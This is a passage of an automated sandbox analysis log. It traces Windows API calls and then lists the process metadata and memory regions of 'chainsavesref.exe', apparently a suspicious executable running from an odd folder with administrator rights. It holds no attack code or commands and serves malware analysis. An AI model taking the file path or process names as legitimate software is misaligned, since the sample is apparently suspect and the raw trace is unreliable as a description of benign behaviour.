lpDistanceToMoveHigh=0x0) returned 0x2f [0175.758] ReadFile (in: hFile=0x7c, lpBuffer=0x4a0f6640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x20f280, lpOverlapped=0x0 | out: lpBuffer=0x4a0f6640*, lpNumberOfBytesRead=0x20f280*=0x0, lpOverlapped=0x0) returned 1 [0175.758] GetLastError () returned 0x0 [0175.758] _get_osfhandle (_FileHandle=3) returned 0x7c [0175.758] GetFileType (hFile=0x7c) returned 0x1 [0175.758] _get_osfhandle (_FileHandle=3) returned 0x7c [0175.758] SetFilePointer (in: hFile=0x7c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x2f [0175.758] GetProcessHeap () returned 0x2d0000 [0175.758] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x8, Size=0x400a) returned 0x2f57a8 [0175.758] GetProcessHeap () returned 0x2d0000 [0175.759] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2f57a8 | out: hHeap=0x2d0000) returned 1 [0175.759] longjmp () [0175.759] _tell (_FileHandle=3) returned 47 [0175.759] _close (_FileHandle=3) returned 0 [0175.759] CmdBatNotification () returned 0x0 [0175.759] _get_osfhandle (_FileHandle=1) returned 0x7 [0175.759] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0175.760] _get_osfhandle (_FileHandle=1) returned 0x7 [0175.760] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4a0f41ac | out: lpMode=0x4a0f41ac) returned 1 [0175.760] _get_osfhandle (_FileHandle=0) returned 0x3 [0175.760] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4a0f41b0 | out: lpMode=0x4a0f41b0) returned 1 [0175.760] SetConsoleInputExeNameW () returned 0x1 [0175.760] GetConsoleOutputCP () returned 0x1b5 [0175.761] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a0f4260 | out: lpCPInfo=0x4a0f4260) returned 1 [0175.761] SetThreadUILanguage (LangId=0x0) returned 0x409 [0175.761] exit (_Code=0) Process: id = "4" image_name = "chainsavesref.exe" filename = "c:\\comproviderruntimecommon\\chainsavesref.exe" page_root = "0x445eb000" os_pid = "0xe60" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "3" os_parent_pid = "0xe48" cmd_line = "\"C:\\comproviderRuntimecommon\\chainsavesref.exe\"" cur_dir = "C:\\comproviderRuntimecommon\\" os_username = "Q9IATRKPRH\\kEecfMwgj" bitness = "32" os_groups = "Q9IATRKPRH\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000f52a" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 616 start_va = 0x10000 end_va = 0x2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 617 start_va = 0x30000 end_va = 0x33fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 618 start_va = 0x40000 end_va = 0x13ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000040000" filename = "" Region: id = 619 start_va = 0x11c0000 end_va = 0x1295fff monitored = 1 entry_point = 0x128d67e region_type = mapped_file name = "chainsavesref.exe" filename = "\\comproviderRuntimecommon\\chainsavesref.exe" (normalized: "c:\\comproviderruntimecommon\\chainsavesref.exe") Region: id = 620 start_va = 0x76d20000 end_va = 0x76ec8fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 621 start_va = 0x7efe0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 622 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 623 start_va = 0x7fffc000 end_va = 0x7fffcfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007fffc000" filename = "" Region: id = 624 start_va = 0x7feff040000 end_va = 0x7feff040fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 625 start_va = 0x7fffffb0000 end_va = 0x7fffffd2fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000007fffffb0000" filename = "" Region: id = 626 start_va = 0x7fffffdd000 end_va = 0x7fffffdefff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffdd000" filename = "" Region: id = 627 start_va = 0x7fffffdf000 end_va = 0x7fffffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffdf000" filename = "" Region: id = 628 start_va = 0x140000 end_va = 0x32ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000140000" filename = "" Region: id = 629 start_va = 0x7fef9de0000 end_va = 0x7fef9e4efff monitored = 1 entry_point = 0x7fef9de1134 region_type = mapped_file name = "mscoree.dll" filename = "\\Windows\\System32\\mscoree.dll" (normalized: "c:\\windows\\system32\\mscoree.dll") Region: id = 630 start_va = 0x76b00000 end_va = 0x76c1efff monitored = 0 entry_point = 0x76b15340 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 631 start_va = 0x7fefcd20000 end_va = 0x7fefcd8bfff monitored = 0 entry_point = 0x7fefcd22780 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 632 start_va = 0x10000 end_va = 0x1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 633 start_va = 0x7efe0000 end_va = 0x7f0dffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 634 start_va = 0x7f0e0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 635 start_va = 0x140000 end_va = 0x1a6fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 636 start_va = 0x2b0000 end_va = 0x32ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000002b0000" filename = "" Region: id = 637 start_va = 0x330000 end_va = 0x4dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000330000" filename = "" Region: id = 638 start_va = 0x1b0000 end_va = 0x2affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001b0000" filename = "" Region: id = 639 start_va = 0x4e0000 end_va = 0x70ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004e0000" filename = "" Region: id = 640 start_va = 0x7fefe7b0000 end_va = 0x7fefe88afff monitored = 0 entry_point = 0x7fefe7d0760 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 641 start_va = 0x7fefec70000 end_va = 0x7fefed0efff monitored = 0 entry_point = 0x7fefec725a0 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 642 start_va = 0x7fefec50000 end_va = 0x7fefec6efff monitored = 0 entry_point = 0x7fefec560e8 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 643 start_va = 0x7fefe680000 end_va = 0x7fefe7acfff monitored = 0 entry_point = 0x7fefe6ced50 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 644 start_va = 0x330000 end_va = 0x35ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000330000" filename = "" Region: id = 645 start_va = 0x4d0000 end_va = 0x4dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004d0000" filename = "" Region: id = 646 start_va = 0x360000 end_va = 0x45ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000360000" filename = "" Region: id = 647 start_va = 0x7fef8bb0000 end_va = 0x7fef8c58fff monitored = 1 entry_point = 0x7fef8bb1010 region_type = mapped_file name = "mscoreei.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscoreei.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\mscoreei.dll") Region: id = 648 start_va = 0x7fef9dd0000 end_va = 0x7fef9dd2fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "api-ms-win-core-synch-l1-2-0.dll" filename = "\\Windows\\System32\\api-ms-win-core-synch-l1-2-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-core-synch-l1-2-0.dll") Region: id = 649 start_va = 0x7fefe890000 end_va = 0x7fefe900fff monitored = 0 entry_point = 0x7fefe8a1e20 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\System32\\shlwapi.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll") Region: id = 650 start_va = 0x7fefd420000 end_va = 0x7fefd486fff monitored = 0 entry_point = 0x7fefd42b03c region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 651 start_va = 0x76c20000 end_va = 0x76d19fff monitored = 0 entry_point = 0x76c3a2c8 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 652 start_va = 0x7fefeb60000 end_va = 0x7fefeb6dfff monitored = 0 entry_point = 0x7fefeb61080 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\System32\\lpk.dll" (normalized: "c:\\windows\\system32\\lpk.dll") Region: id = 653 start_va = 0x7fefe910000 end_va = 0x7fefe9d8fff monitored = 0 entry_point = 0x7fefe98a874 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\System32\\usp10.dll" (normalized: "c:\\windows\\system32\\usp10.dll") Region: id = 654 start_va = 0x460000 end_va = 0x488fff monitored = 0 entry_point = 0x461010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 655 start_va = 0x4e0000 end_va = 0x667fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000004e0000" filename = "" Region: id = 656 start_va = 0x690000 end_va = 0x70ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000690000" filename = "" Region: id = 657 start_va = 0x460000 end_va = 0x488fff monitored = 0 entry_point = 0x461010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 658 start_va = 0x7feff000000 end_va = 0x7feff02dfff monitored = 0 entry_point = 0x7feff001010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 659 start_va = 0x7fefed10000 end_va = 0x7fefee18fff monitored = 0 entry_point = 0x7fefed11064 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll") Region: id = 660 start_va = 0x710000 end_va = 0x890fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000710000" filename = "" Region: id = 661 start_va = 0x12a0000 end_va = 0x269ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000012a0000" filename = "" Region: id = 662 start_va = 0x20000 end_va = 0x20fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000020000" filename = "" Region: id = 663 start_va = 0x330000 end_va = 0x330fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000330000" filename = "" Region: id = 664 start_va = 0x350000 end_va = 0x35ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000350000" filename = "" Region: id = 665 start_va = 0x8a0000 end_va = 0x96ffff monitored = 1 entry_point = 0x96d67e region_type = mapped_file name = "chainsavesref.exe" filename = "\\comproviderRuntimecommon\\chainsavesref.exe" (normalized: "c:\\comproviderruntimecommon\\chainsavesref.exe") Region: id = 666 start_va = 0x8a0000 end_va = 0x96ffff monitored = 1 entry_point = 0x96d67e region_type = mapped_file name = "chainsavesref.exe" filename = "\\comproviderRuntimecommon\\chainsavesref.exe" (normalized: "c:\\comproviderruntimecommon\\chainsavesref.exe") Region: id = 667 start_va = 0x7fefbe30000 end_va = 0x7fefbe3bfff monitored = 0 entry_point = 0x7fefbe31064 region_type = mapped_file name = "version.dll" filename = "\\Windows\\System32\\version.dll" (normalized: "c:\\windows\\system32\\version.dll") Region: id = 668 start_va = 0x7fef0940000 end_va = 0x7fef1406fff monitored = 1 entry_point = 0x7fef09463a0 region_type = mapped_file name = "clr.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\clr.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\clr.dll") Region: id = 669 start_va = 0x7feefe70000 end_va = 0x7fef0936fff monitored = 1 entry_point = 0x7feefe763a0 region_type = mapped_file name = "clr.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\clr.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\clr.dll") Region: id = 670 start_va = 0x7fef0940000 end_va = 0x7fef1406fff monitored = 1 entry_point = 0x7fef09463a0 region_type = mapped_file name = "clr.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\clr.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\clr.dll") Region: id = 671 start_va = 0x7fef9f10000 end_va = 0x7fef9f25fff monitored = 0 entry_point = 0x7fef9f1c000 region_type = mapped_file name = "vcruntime140_clr0400.dll" filename = "\\Windows\\System32\\vcruntime140_clr0400.dll" (normalized: "c:\\windows\\system32\\vcruntime140_clr0400.dll") Region: id = 672 start_va = 0x7fef9e50000 end_va = 0x7fef9f0cfff monitored = 0 entry_point = 0x7fef9ed7db0 region_type = mapped_file name = "ucrtbase_clr0400.dll" filename = "\\Windows\\System32\\ucrtbase_clr0400.dll" (normalized: "c:\\windows\\system32\\ucrtbase_clr0400.dll") Region: id = 673 start_va = 0x340000 end_va = 0x340fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000340000" filename = "" Region: id = 674 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 675 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000470000" filename = "" Region: id = 676 start_va = 0x7fe91300000 end_va = 0x7fe9130ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe91300000" filename = "" Region: id = 677 start_va = 0x7fe91310000 end_va = 0x7fe9131ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe91310000" filename = "" Region: id = 678 start_va = 0x7fe91320000 end_va = 0x7fe913affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe91320000" filename = "" Region: id = 679 start_va = 0x7fe913b0000 end_va = 0x7fe9141ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe913b0000" filename = "" Region: id = 680 start_va = 0x480000 end_va = 0x480fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000480000" filename = "" Region: id = 681 start_va = 0x490000 end_va = 0x490fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000490000" filename = "" Region: id = 682 start_va = 0x8a0000 end_va = 0xa0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000008a0000" filename = "" Region: id = 683 start_va = 0xa10000 end_va = 0xb0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000a10000" filename = "" Region: id = 684 start_va = 0xb80000 end_va = 0xc7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000b80000" filename = "" Region: id = 685 start_va = 0x7fffffdb000 end_va = 0x7fffffdcfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffdb000" filename = "" Region: id = 686 start_va = 0x4a0000 end_va = 0x4affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004a0000" filename = "" Region: id = 687 start_va = 0x26a0000 end_va = 0x1a69ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000026a0000" filename = "" Region: id = 688 start_va = 0xc80000 end_va = 0xffffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000c80000" filename = "" Region: id = 689 start_va = 0x1000000 end_va = 0x1100fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001000000" filename = "" Region: id = 690 start_va = 0x1a830000 end_va = 0x1a92ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001a830000" filename = "" Region: id = 691 start_va = 0x7fffffd9000 end_va = 0x7fffffdafff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd9000" filename = "" Region: id = 692 start_va = 0x1a6b0000 end_va = 0x1a7affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001a6b0000" filename = "" Region: id = 693 start_va = 0x1a930000 end_va = 0x1aa2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001a930000" filename = "" Region: id = 694 start_va = 0x7fffffd7000 end_va = 0x7fffffd8fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd7000" filename = "" Region: id = 695 start_va = 0x1aa30000 end_va = 0x1acfefff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 696 start_va = 0x7feef340000 end_va = 0x7fef093cfff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "mscorlib.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_64\\mscorlib\\fe2524177eb3088c77be666722039f52\\mscorlib.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\mscorlib\\fe2524177eb3088c77be666722039f52\\mscorlib.ni.dll") Region: id = 697 start_va = 0x7fefd4e0000 end_va = 0x7fefd6e2fff monitored = 0 entry_point = 0x7fefd503330 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 698 start_va = 0x8a0000 end_va = 0x91cfff monitored = 0 entry_point = 0x8acec8 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 699 start_va = 0x990000 end_va = 0xa0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000990000" filename = "" Region: id = 700 start_va = 0x8a0000 end_va = 0x91cfff monitored = 0 entry_point = 0x8acec8 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 701 start_va = 0x7fefcb60000 end_va = 0x7fefcb6efff monitored = 0 entry_point = 0x7fefcb61010 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll") Region: id = 702 start_va = 0x7fefb5c0000 end_va = 0x7fefb615fff monitored = 0 entry_point = 0x7fefb5cbbc0 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\System32\\uxtheme.dll" (normalized: "c:\\windows\\system32\\uxtheme.dll") Region: id = 703 start_va = 0x1ad00000 end_va = 0x1aeeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ad00000" filename = "" Region: id = 704 start_va = 0x8a0000 end_va = 0x97efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000008a0000" filename = "" Region: id = 705 start_va = 0x7fffff10000 end_va = 0x7fffffaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff10000" filename = "" Region: id = 706 start_va = 0x7fffff00000 end_va = 0x7fffff0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff00000" filename = "" Region: id = 707 start_va = 0x7fe91420000 end_va = 0x7fe9149ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe91420000" filename = "" Region: id = 708 start_va = 0x7fe914a0000 end_va = 0x7fe914affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe914a0000" filename = "" Region: id = 709 start_va = 0x7fe914b0000 end_va = 0x7fe914bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe914b0000" filename = "" Region: id = 710 start_va = 0x7fefa510000 end_va = 0x7fefa512fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "api-ms-win-core-xstate-l2-1-0.dll" filename = "\\Windows\\System32\\api-ms-win-core-xstate-l2-1-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-core-xstate-l2-1-0.dll") Region: id = 711 start_va = 0x7fef3210000 end_va = 0x7fef335efff monitored = 1 entry_point = 0x7fef3211090 region_type = mapped_file name = "clrjit.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\clrjit.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\clrjit.dll") Region: id = 712 start_va = 0x4a0000 end_va = 0x4affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004a0000" filename = "" Region: id = 713 start_va = 0x4b0000 end_va = 0x4bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004b0000" filename = "" Region: id = 714 start_va = 0x4b0000 end_va = 0x4bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004b0000" filename = "" Region: id = 715 start_va = 0x4b0000 end_va = 0x4bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004b0000" filename = "" Region: id = 716 start_va = 0x4b0000 end_va = 0x4bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004b0000" filename = "" Region: id = 717 start_va = 0x4b0000 end_va = 0x4bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004b0000" filename = "" Region: id = 718 start_va = 0x4c0000 end_va = 0x4cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004c0000" filename = "" Region: id = 719 start_va = 0x1aef0000 end_va = 0x1b0dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001aef0000" filename = "" Region: id = 720 start_va = 0x4b0000 end_va = 0x4bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004b0000" filename = "" Region: id = 721 start_va = 0x4b0000 end_va = 0x4bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004b0000" filename = "" Region: id = 722 start_va = 0x4c0000 end_va = 0x4cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004c0000" filename = "" Region: id = 723 start_va = 0x670000 end_va = 0x67ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000670000" filename = "" Region: id = 724 start_va = 0x4b0000 end_va = 0x4bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004b0000" filename = "" Region: id = 725 start_va = 0x4b0000 end_va = 0x4bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004b0000" filename = "" Region: id = 726 start_va = 0x4b0000 end_va = 0x4bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004b0000" filename = "" Region: id = 727 start_va = 0x4b0000 end_va = 0x4bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004b0000" filename = "" Region: id = 728 start_va = 0x4b0000 end_va = 0x4bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004b0000" filename = "" Region: id = 729 start_va = 0xa10000 end_va = 0xa71fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "mscorrc.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorrc.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\mscorrc.dll") Region: id = 730 start_va = 0xa90000 end_va = 0xb0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000a90000" filename = "" Region: id = 731 start_va = 0x1a7c0000 end_va = 0x1a7fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001a7c0000" filename = "" Region: id = 732 start_va = 0x1af40000 end_va = 0x1b03ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001af40000" filename = "" Region: id = 733 start_va = 0x1b060000 end_va = 0x1b0dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b060000" filename = "" Region: id = 734 start_va = 0x7fffffd3000 end_va = 0x7fffffd4fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd3000" filename = "" Region: id = 735 start_va = 0x7fffffd5000 end_va = 0x7fffffd6fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd5000" filename = "" Region: id = 736 start_va = 0x1b230000 end_va = 0x1b32ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b230000" filename = "" Region: id = 737 start_va = 0x7fefc560000 end_va = 0x7fefc577fff monitored = 0 entry_point = 0x7fefc563b48 region_type = mapped_file name = "cryptsp.dll" filename = "\\Windows\\System32\\cryptsp.dll" (normalized: "c:\\windows\\system32\\cryptsp.dll") Region: id = 738 start_va = 0x7ffffefe000 end_va = 0x7ffffefffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007ffffefe000" filename = "" Region: id = 739 start_va = 0xb10000 end_va = 0xb54fff monitored = 0 entry_point = 0xb11064 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 740 start_va = 0xb10000 end_va = 0xb54fff monitored = 0 entry_point = 0xb11064 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 741 start_va = 0xb10000 end_va = 0xb54fff monitored = 0 entry_point = 0xb11064 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 742 start_va = 0xb10000 end_va = 0xb54fff monitored = 0 entry_point = 0xb11064 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 743 start_va = 0xb10000 end_va = 0xb54fff monitored = 0 entry_point = 0xb11064 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 744 start_va = 0x7fefc260000 end_va = 0x7fefc2a6fff monitored = 0 entry_point = 0x7fefc261064 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 745 start_va = 0x7fefcc50000 end_va = 0x7fefcc63fff monitored = 0 entry_point = 0x7fefcc510e0 region_type = mapped_file name = "rpcrtremote.dll" filename = "\\Windows\\System32\\RpcRtRemote.dll" (normalized: "c:\\windows\\system32\\rpcrtremote.dll") Region: id = 746 start_va = 0x1b440000 end_va = 0x1b53ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b440000" filename = "" Region: id = 747 start_va = 0x7ffffefc000 end_va = 0x7ffffefdfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007ffffefc000" filename = "" Region: id = 748 start_va = 0x1b110000 end_va = 0x1b20ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b110000" filename = "" Region: id = 749 start_va = 0x7ffffefa000 end_va = 0x7ffffefbfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007ffffefa000" filename = "" Region: id = 750 start_va = 0x4b0000 end_va = 0x4bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004b0000" filename = "" Region: id = 751 start_va = 0x1b690000 end_va = 0x1b78ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b690000" filename = "" Region: id = 752 start_va = 0x7ffffef8000 end_va = 0x7ffffef9fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007ffffef8000" filename = "" Region: id = 753 start_va = 0x7feee6d0000 end_va = 0x7feef33efff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "system.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\e43dd9c73ab5615e461bf5109c3facd6\\System.ni.dll" (normalized: 